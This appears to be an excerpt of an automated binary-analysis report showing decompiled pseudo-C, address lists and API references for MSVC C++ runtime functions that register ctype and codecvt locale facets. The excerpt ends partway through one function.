0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d
0x6dd1f280
0x6dd1f280
0x6dd1f283
0x6dd1f287
0x6dd1f28b
0x6dd1f298
0x6dd1f2a0
0x6dd1f2a2
0x00000000
0x6dd1f2a2
0x6dd1f269
0x6dd1f269
0x00000000
0x6dd1f269
0x6dd1f267
0x6dd1f1da
0x6dd1f1da
0x6dd1f1dd
0x6dd1f1e1
0x6dd1f1e5
0x6dd1f1f2
0x6dd1f1fa
0x6dd1f1fc
0x00000000
0x6dd1f1fc
0x6dd1f1c3
0x6dd1f1c3
0x00000000
0x6dd1f1c3
0x6dd1f1c1
0x6dd1f134
0x6dd1f134
0x6dd1f137
0x6dd1f13b
0x6dd1f13f
0x6dd1f14c
0x6dd1f154
0x6dd1f156
0x00000000
0x6dd1f156
0x6dd1f11d
0x6dd1f11d
0x00000000
0x6dd1f11d
0x6dd1f11b

APIs

__EH_prolog3.LIBCMT ref: 6DD1F0E4
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F0EE
int.LIBCPMT ref: 6DD1F105

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

ctype.LIBCPMT ref: 6DD1F128
std::_Facet_Register.LIBCPMT ref: 6DD1F13F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F15F
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F17D

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowctype
String ID:
API String ID: 1394824916-0
Opcode ID: ff71414eea117450f2211a75136ef797cd72564c0d6dbdabdb437cce78bb63db
Instruction ID: 01439dde6ca7fa636796bad6ea74beb298ef86e56cb6f9d4540f712e41a7aca3
Opcode Fuzzy Hash: ff71414eea117450f2211a75136ef797cd72564c0d6dbdabdb437cce78bb63db
Instruction Fuzzy Hash: 1811A076908529CBCF01FFA4DC50AFEB774EF46724F160109F614A7290DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A0FF, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1A0FF(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				intOrPtr _v8;
				void* _v16;
				char _v20;
				intOrPtr* _v24;
				char _v32;
				void* _t63;
				intOrPtr* _t64;
				void* _t76;
				void* _t89;
				void* _t102;
				intOrPtr* _t158;
				intOrPtr* _t174;
				intOrPtr* _t175;
				intOrPtr* _t176;
				void* _t178;
				intOrPtr* _t179;
				intOrPtr* _t180;
				void* _t181;

				_t171 = __edx;
				_t130 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t178 =  *0x6ddd6cc8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t178;
				_t63 = E6DCF161C(0x6ddd6b38);
				_t133 = _a8;
				_t64 = E6DCF171B(_a8, _t63);
				_t173 = _t64;
				if(_t64 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t173);
				} else {
					if(_t178 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1A9D2(__ebx, _t133, __edx, _t173, _t178) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438( &_v32);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t173, _t178, 0x14);
							E6DD16653( &_v20, 0);
							_t179 =  *0x6ddd6ccc; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t179;
							_t76 = E6DCF161C(0x6ddd6cb8);
							_t140 = _a8;
							_t174 = E6DCF171B(_a8, _t76);
							__eflags = _t174;
							if(_t174 != 0) {
								L12:
								E6DD166BA( &_v20);
								return E6DD30075(_t174);
							} else {
								__eflags = _t179;
								if(_t179 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E6DD1AA38(_t130, _t140, __edx, _t174, _t179) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438( &_v32);
										E6DD33D74( &_v32, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t130, _t174, _t179, 0x14);
										E6DD16653( &_v20, 0);
										_t180 =  *0x6ddd6cd0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t180;
										_t89 = E6DCF161C(0x6ddd6cbc);
										_t147 = _a8;
										_t175 = E6DCF171B(_a8, _t89);
										__eflags = _t175;
										if(_t175 != 0) {
											L19:
											E6DD166BA( &_v20);
											return E6DD30075(_t175);
										} else {
											__eflags = _t180;
											if(_t180 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E6DD1AAA0(_t130, _t147, __edx, _t175, _t180) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438( &_v32);
													E6DD33D74( &_v32, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t130, _t175, _t180, 0x14);
													E6DD16653( &_v20, 0);
													_t181 =  *0x6ddd6cd4; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t181;
													_t102 = E6DCF161C(0x6ddd6cc0);
													_t154 = _a8;
													_t176 = E6DCF171B(_a8, _t102);
													__eflags = _t176;
													if(_t176 != 0) {
														L26:
														E6DD166BA( &_v20);
														return E6DD30075(_t176);
													} else {
														__eflags = _t181;
														if(_t181 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E6DD1AB08(_t130, _t154, _t171, _t176, _t181) - 0xffffffff;
															if(__eflags == 0) {
																_t158 =  &_v32;
																E6DCF1438(_t158);
																E6DD33D74( &_v32, 0x6ddd3504);
																asm("int3");
																_push(_t158);
																 *((intOrPtr*)(_t158 + 4)) = _v8;
																_v24 = _t158;
																 *_t158 = 0x6dd7ba24;
																return _t158;
															} else {
																_t176 = _v16;
																_v16 = _t176;
																_v4 = 1;
																E6DD16FD3(__eflags, _t176);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t176 + 4))))();
																 *0x6ddd6cd4 = _t176;
																goto L26;
															}
														} else {
															_t176 = _t181;
															goto L26;
														}
													}
												} else {
													_t175 = _v16;
													_v16 = _t175;
													_v4 = 1;
													E6DD16FD3(__eflags, _t175);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t175 + 4))))();
													 *0x6ddd6cd0 = _t175;
													goto L19;
												}
											} else {
												_t175 = _t180;
												goto L19;
											}
										}
									} else {
										_t174 = _v16;
										_v16 = _t174;
										_v4 = 1;
										E6DD16FD3(__eflags, _t174);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t174 + 4))))();
										 *0x6ddd6ccc = _t174;
										goto L12;
									}
								} else {
									_t174 = _t179;
									goto L12;
								}
							}
						} else {
							_t173 = _v16;
							_v16 = _t173;
							_v4 = 1;
							E6DD16FD3(__eflags, _t173);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t173 + 4))))();
							 *0x6ddd6cc8 = _t173;
							goto L5;
						}
					} else {
						_t173 = _t178;
						goto L5;
					}
				}
			}

0x6dd1a0ff
0x6dd1a0ff
0x6dd1a106
0x6dd1a110
0x6dd1a115
0x6dd1a120
0x6dd1a124
0x6dd1a127
0x6dd1a12c
0x6dd1a130
0x6dd1a135
0x6dd1a139
0x6dd1a17e
0x6dd1a181
0x6dd1a18d
0x6dd1a13b
0x6dd1a13d
0x6dd1a143
0x6dd1a149
0x6dd1a151
0x6dd1a154
0x6dd1a191
0x6dd1a19f
0x6dd1a1a4
0x6dd1a1ac
0x6dd1a1b6
0x6dd1a1bb
0x6dd1a1c6
0x6dd1a1ca
0x6dd1a1cd
0x6dd1a1d2
0x6dd1a1db
0x6dd1a1dd
0x6dd1a1df
0x6dd1a224
0x6dd1a227
0x6dd1a233
0x6dd1a1e1
0x6dd1a1e1
0x6dd1a1e3
0x6dd1a1e9
0x6dd1a1ef
0x6dd1a1f7
0x6dd1a1fa
0x6dd1a237
0x6dd1a245
0x6dd1a24a
0x6dd1a252
0x6dd1a25c
0x6dd1a261
0x6dd1a26c
0x6dd1a270
0x6dd1a273
0x6dd1a278
0x6dd1a281
0x6dd1a283
0x6dd1a285
0x6dd1a2ca
0x6dd1a2cd
0x6dd1a2d9
0x6dd1a287
0x6dd1a287
0x6dd1a289
0x6dd1a28f
0x6dd1a295
0x6dd1a29d
0x6dd1a2a0
0x6dd1a2dd
0x6dd1a2eb
0x6dd1a2f0
0x6dd1a2f8
0x6dd1a302
0x6dd1a307
0x6dd1a312
0x6dd1a316
0x6dd1a319
0x6dd1a31e
0x6dd1a327
0x6dd1a329
0x6dd1a32b
0x6dd1a370
0x6dd1a373
0x6dd1a37f
0x6dd1a32d
0x6dd1a32d
0x6dd1a32f
0x6dd1a335
0x6dd1a33b
0x6dd1a343
0x6dd1a346
0x6dd1a380
0x6dd1a383
0x6dd1a391
0x6dd1a396
0x6dd1a39a
0x6dd1a39e
0x6dd1a3a3
0x6dd1a3a6
0x6dd1a3ad
0x6dd1a348
0x6dd1a348
0x6dd1a34b
0x6dd1a34f
0x6dd1a353
0x6dd1a360
0x6dd1a368
0x6dd1a36a
0x00000000
0x6dd1a36a
0x6dd1a331
0x6dd1a331
0x00000000
0x6dd1a331
0x6dd1a32f
0x6dd1a2a2
0x6dd1a2a2
0x6dd1a2a5
0x6dd1a2a9
0x6dd1a2ad
0x6dd1a2ba
0x6dd1a2c2
0x6dd1a2c4
0x00000000
0x6dd1a2c4
0x6dd1a28b
0x6dd1a28b
0x00000000
0x6dd1a28b
0x6dd1a289
0x6dd1a1fc
0x6dd1a1fc
0x6dd1a1ff
0x6dd1a203
0x6dd1a207
0x6dd1a214
0x6dd1a21c
0x6dd1a21e
0x00000000
0x6dd1a21e
0x6dd1a1e5
0x6dd1a1e5
0x00000000
0x6dd1a1e5
0x6dd1a1e3
0x6dd1a156
0x6dd1a156
0x6dd1a159
0x6dd1a15d
0x6dd1a161
0x6dd1a16e
0x6dd1a176
0x6dd1a178
0x00000000
0x6dd1a178
0x6dd1a13f
0x6dd1a13f
0x00000000
0x6dd1a13f
0x6dd1a13d

APIs

__EH_prolog3.LIBCMT ref: 6DD1A106
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A110
int.LIBCPMT ref: 6DD1A127

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

ctype.LIBCPMT ref: 6DD1A14A
std::_Facet_Register.LIBCPMT ref: 6DD1A161
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A181
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A19F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowctype
String ID:
API String ID: 1394824916-0
Opcode ID: 3e48619e0e3860db9a3071706fd1eaaa3453b1f040e943027de28f8019d21ae8
Instruction ID: 9ddf4446616ab645e4a975ebef7bd138cd63bb3ed95626674f9ead53e36fb444
Opcode Fuzzy Hash: 3e48619e0e3860db9a3071706fd1eaaa3453b1f040e943027de28f8019d21ae8
Instruction Fuzzy Hash: 33119E719481299BCF01FBA8DC40AEDBB75EF95724F160009F510AB290DB749A4A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A059, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1A059(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				intOrPtr _v12;
				void* _v16;
				char _v20;
				intOrPtr* _v28;
				char _v32;
				void* _t77;
				intOrPtr* _t78;
				void* _t90;
				void* _t103;
				void* _t116;
				void* _t129;
				intOrPtr* _t196;
				intOrPtr* _t215;
				intOrPtr* _t216;
				intOrPtr* _t217;
				intOrPtr* _t218;
				void* _t220;
				intOrPtr* _t221;
				intOrPtr* _t222;
				intOrPtr* _t223;
				void* _t224;

				_t212 = __edx;
				_t161 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t220 =  *0x6ddd6cd8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t220;
				_t77 = E6DCF161C(0x6ddd6cc4);
				_t164 = _a8;
				_t78 = E6DCF171B(_a8, _t77);
				_t214 = _t78;
				if(_t78 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t214);
				} else {
					if(_t220 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1A96A(__ebx, _t164, __edx, _t214, _t220) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438( &_v32);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t214, _t220, 0x14);
							E6DD16653( &_v20, 0);
							_t221 =  *0x6ddd6cc8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t221;
							_t90 = E6DCF161C(0x6ddd6b38);
							_t171 = _a8;
							_t215 = E6DCF171B(_a8, _t90);
							__eflags = _t215;
							if(_t215 != 0) {
								L12:
								E6DD166BA( &_v20);
								return E6DD30075(_t215);
							} else {
								__eflags = _t221;
								if(_t221 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E6DD1A9D2(_t161, _t171, __edx, _t215, _t221) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438( &_v32);
										E6DD33D74( &_v32, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t161, _t215, _t221, 0x14);
										E6DD16653( &_v20, 0);
										_t222 =  *0x6ddd6ccc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t222;
										_t103 = E6DCF161C(0x6ddd6cb8);
										_t178 = _a8;
										_t216 = E6DCF171B(_a8, _t103);
										__eflags = _t216;
										if(_t216 != 0) {
											L19:
											E6DD166BA( &_v20);
											return E6DD30075(_t216);
										} else {
											__eflags = _t222;
											if(_t222 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E6DD1AA38(_t161, _t178, __edx, _t216, _t222) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438( &_v32);
													E6DD33D74( &_v32, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t161, _t216, _t222, 0x14);
													E6DD16653( &_v20, 0);
													_t223 =  *0x6ddd6cd0; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t223;
													_t116 = E6DCF161C(0x6ddd6cbc);
													_t185 = _a8;
													_t217 = E6DCF171B(_a8, _t116);
													__eflags = _t217;
													if(_t217 != 0) {
														L26:
														E6DD166BA( &_v20);
														return E6DD30075(_t217);
													} else {
														__eflags = _t223;
														if(_t223 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E6DD1AAA0(_t161, _t185, _t212, _t217, _t223) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438( &_v32);
																E6DD33D74( &_v32, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t161, _t217, _t223, 0x14);
																E6DD16653( &_v20, 0);
																_t224 =  *0x6ddd6cd4; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t224;
																_t129 = E6DCF161C(0x6ddd6cc0);
																_t192 = _a8;
																_t218 = E6DCF171B(_a8, _t129);
																__eflags = _t218;
																if(_t218 != 0) {
																	L33:
																	E6DD166BA( &_v20);
																	return E6DD30075(_t218);
																} else {
																	__eflags = _t224;
																	if(_t224 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E6DD1AB08(_t161, _t192, _t212, _t218, _t224) - 0xffffffff;
																		if(__eflags == 0) {
																			_t196 =  &_v32;
																			E6DCF1438(_t196);
																			E6DD33D74( &_v32, 0x6ddd3504);
																			asm("int3");
																			_push(_t196);
																			 *((intOrPtr*)(_t196 + 4)) = _v12;
																			_v28 = _t196;
																			 *_t196 = 0x6dd7ba24;
																			return _t196;
																		} else {
																			_t218 = _v16;
																			_v16 = _t218;
																			_v4 = 1;
																			E6DD16FD3(__eflags, _t218);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t218 + 4))))();
																			 *0x6ddd6cd4 = _t218;
																			goto L33;
																		}
																	} else {
																		_t218 = _t224;
																		goto L33;
																	}
																}
															} else {
																_t217 = _v16;
																_v16 = _t217;
																_v4 = 1;
																E6DD16FD3(__eflags, _t217);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t217 + 4))))();
																 *0x6ddd6cd0 = _t217;
																goto L26;
															}
														} else {
															_t217 = _t223;
															goto L26;
														}
													}
												} else {
													_t216 = _v16;
													_v16 = _t216;
													_v4 = 1;
													E6DD16FD3(__eflags, _t216);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t216 + 4))))();
													 *0x6ddd6ccc = _t216;
													goto L19;
												}
											} else {
												_t216 = _t222;
												goto L19;
											}
										}
									} else {
										_t215 = _v16;
										_v16 = _t215;
										_v4 = 1;
										E6DD16FD3(__eflags, _t215);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t215 + 4))))();
										 *0x6ddd6cc8 = _t215;
										goto L12;
									}
								} else {
									_t215 = _t221;
									goto L12;
								}
							}
						} else {
							_t214 = _v16;
							_v16 = _t214;
							_v4 = 1;
							E6DD16FD3(__eflags, _t214);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t214 + 4))))();
							 *0x6ddd6cd8 = _t214;
							goto L5;
						}
					} else {
						_t214 = _t220;
						goto L5;
					}
				}
			}

0x6dd1a059
0x6dd1a059
0x6dd1a060
0x6dd1a06a
0x6dd1a06f
0x6dd1a07a
0x6dd1a07e
0x6dd1a081
0x6dd1a086
0x6dd1a08a
0x6dd1a08f
0x6dd1a093
0x6dd1a0d8
0x6dd1a0db
0x6dd1a0e7
0x6dd1a095
0x6dd1a097
0x6dd1a09d
0x6dd1a0a3
0x6dd1a0ab
0x6dd1a0ae
0x6dd1a0eb
0x6dd1a0f9
0x6dd1a0fe
0x6dd1a106
0x6dd1a110
0x6dd1a115
0x6dd1a120
0x6dd1a124
0x6dd1a127
0x6dd1a12c
0x6dd1a135
0x6dd1a137
0x6dd1a139
0x6dd1a17e
0x6dd1a181
0x6dd1a18d
0x6dd1a13b
0x6dd1a13b
0x6dd1a13d
0x6dd1a143
0x6dd1a149
0x6dd1a151
0x6dd1a154
0x6dd1a191
0x6dd1a19f
0x6dd1a1a4
0x6dd1a1ac
0x6dd1a1b6
0x6dd1a1bb
0x6dd1a1c6
0x6dd1a1ca
0x6dd1a1cd
0x6dd1a1d2
0x6dd1a1db
0x6dd1a1dd
0x6dd1a1df
0x6dd1a224
0x6dd1a227
0x6dd1a233
0x6dd1a1e1
0x6dd1a1e1
0x6dd1a1e3
0x6dd1a1e9
0x6dd1a1ef
0x6dd1a1f7
0x6dd1a1fa
0x6dd1a237
0x6dd1a245
0x6dd1a24a
0x6dd1a252
0x6dd1a25c
0x6dd1a261
0x6dd1a26c
0x6dd1a270
0x6dd1a273
0x6dd1a278
0x6dd1a281
0x6dd1a283
0x6dd1a285
0x6dd1a2ca
0x6dd1a2cd
0x6dd1a2d9
0x6dd1a287
0x6dd1a287
0x6dd1a289
0x6dd1a28f
0x6dd1a295
0x6dd1a29d
0x6dd1a2a0
0x6dd1a2dd
0x6dd1a2eb
0x6dd1a2f0
0x6dd1a2f8
0x6dd1a302
0x6dd1a307
0x6dd1a312
0x6dd1a316
0x6dd1a319
0x6dd1a31e
0x6dd1a327
0x6dd1a329
0x6dd1a32b
0x6dd1a370
0x6dd1a373
0x6dd1a37f
0x6dd1a32d
0x6dd1a32d
0x6dd1a32f
0x6dd1a335
0x6dd1a33b
0x6dd1a343
0x6dd1a346
0x6dd1a380
0x6dd1a383
0x6dd1a391
0x6dd1a396
0x6dd1a39a
0x6dd1a39e
0x6dd1a3a3
0x6dd1a3a6
0x6dd1a3ad
0x6dd1a348
0x6dd1a348
0x6dd1a34b
0x6dd1a34f
0x6dd1a353
0x6dd1a360
0x6dd1a368
0x6dd1a36a
0x00000000
0x6dd1a36a
0x6dd1a331
0x6dd1a331
0x00000000
0x6dd1a331
0x6dd1a32f
0x6dd1a2a2
0x6dd1a2a2
0x6dd1a2a5
0x6dd1a2a9
0x6dd1a2ad
0x6dd1a2ba
0x6dd1a2c2
0x6dd1a2c4
0x00000000
0x6dd1a2c4
0x6dd1a28b
0x6dd1a28b
0x00000000
0x6dd1a28b
0x6dd1a289
0x6dd1a1fc
0x6dd1a1fc
0x6dd1a1ff
0x6dd1a203
0x6dd1a207
0x6dd1a214
0x6dd1a21c
0x6dd1a21e
0x00000000
0x6dd1a21e
0x6dd1a1e5
0x6dd1a1e5
0x00000000
0x6dd1a1e5
0x6dd1a1e3
0x6dd1a156
0x6dd1a156
0x6dd1a159
0x6dd1a15d
0x6dd1a161
0x6dd1a16e
0x6dd1a176
0x6dd1a178
0x00000000
0x6dd1a178
0x6dd1a13f
0x6dd1a13f
0x00000000
0x6dd1a13f
0x6dd1a13d
0x6dd1a0b0
0x6dd1a0b0
0x6dd1a0b3
0x6dd1a0b7
0x6dd1a0bb
0x6dd1a0c8
0x6dd1a0d0
0x6dd1a0d2
0x00000000
0x6dd1a0d2
0x6dd1a099
0x6dd1a099
0x00000000
0x6dd1a099
0x6dd1a097

APIs

__EH_prolog3.LIBCMT ref: 6DD1A060
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A06A
int.LIBCPMT ref: 6DD1A081

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

codecvt.LIBCPMT ref: 6DD1A0A4
std::_Facet_Register.LIBCPMT ref: 6DD1A0BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A0DB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A0F9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 6108dd0147c7e8758d123b7963539c3865bf45c372f251b6815ffbac4ffd44ea
Instruction ID: 0e85e48170ba163563a2aa4a9a01605fa25f128d9b5a9aefbd950164e5112972
Opcode Fuzzy Hash: 6108dd0147c7e8758d123b7963539c3865bf45c372f251b6815ffbac4ffd44ea
Instruction Fuzzy Hash: 05119E7294812ACBCF01FBA8DC40AEDB774EF85724F164009F614A7290DB749A0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F037, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F037(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t293;
				signed int _t294;
				void* _t306;
				void* _t319;
				void* _t332;
				void* _t345;
				void* _t358;
				void* _t371;
				void* _t384;
				void* _t397;
				void* _t410;
				void* _t423;
				void* _t436;
				void* _t449;
				void* _t462;
				void* _t475;
				void* _t488;
				void* _t501;
				void* _t514;
				void* _t527;
				void* _t540;
				signed int _t777;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				signed int _t859;
				signed int _t861;
				signed int _t862;
				signed int _t863;
				signed int _t864;
				signed int _t865;
				signed int _t866;
				signed int _t867;
				signed int _t868;
				signed int _t869;
				signed int _t870;
				signed int _t871;
				signed int _t872;
				signed int _t873;
				signed int _t874;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				void* _t902;

				_t838 = __edx;
				_t637 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t902 - 0x14, 0);
				_t861 =  *0x6ddd6db4; // 0x0
				 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
				 *(_t902 - 0x10) = _t861;
				_t293 = E6DCF161C(0x6ddd6d68);
				_t640 =  *((intOrPtr*)(_t902 + 8));
				_t294 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t293);
				_t840 = _t294;
				if(_t294 != 0) {
					L5:
					E6DD166BA(_t902 - 0x14);
					return E6DD30075(_t840);
				} else {
					if(_t861 == 0) {
						_push( *((intOrPtr*)(_t902 + 8)));
						_push(_t902 - 0x10);
						__eflags = E6DD20DA5(__ebx, _t640, __edx, _t840, _t861) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t902 - 0x20);
							E6DD33D74(_t902 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t840, _t861, 0x14);
							E6DD16653(_t902 - 0x14, 0);
							_t862 =  *0x6ddd6dd4; // 0x0
							 *(_t902 - 4) =  *(_t902 - 4) & 0x00000000;
							 *(_t902 - 0x10) = _t862;
							_t306 = E6DCF161C(0x6ddd6b28);
							_t647 =  *((intOrPtr*)(_t902 + 8));
							_t841 = E6DCF171B( *((intOrPtr*)(_t902 + 8)), _t306);
							__eflags = _t841;
							if(_t841 != 0) {
								L12:
								E6DD166BA(_t902 - 0x14);
								return E6DD30075(_t841);
							} else {
								__eflags = _t862;
								if(_t862 == 0) {
									_push( *((intOrPtr*)(_t902 + 8)));
									_push(_t902 - 0x10);
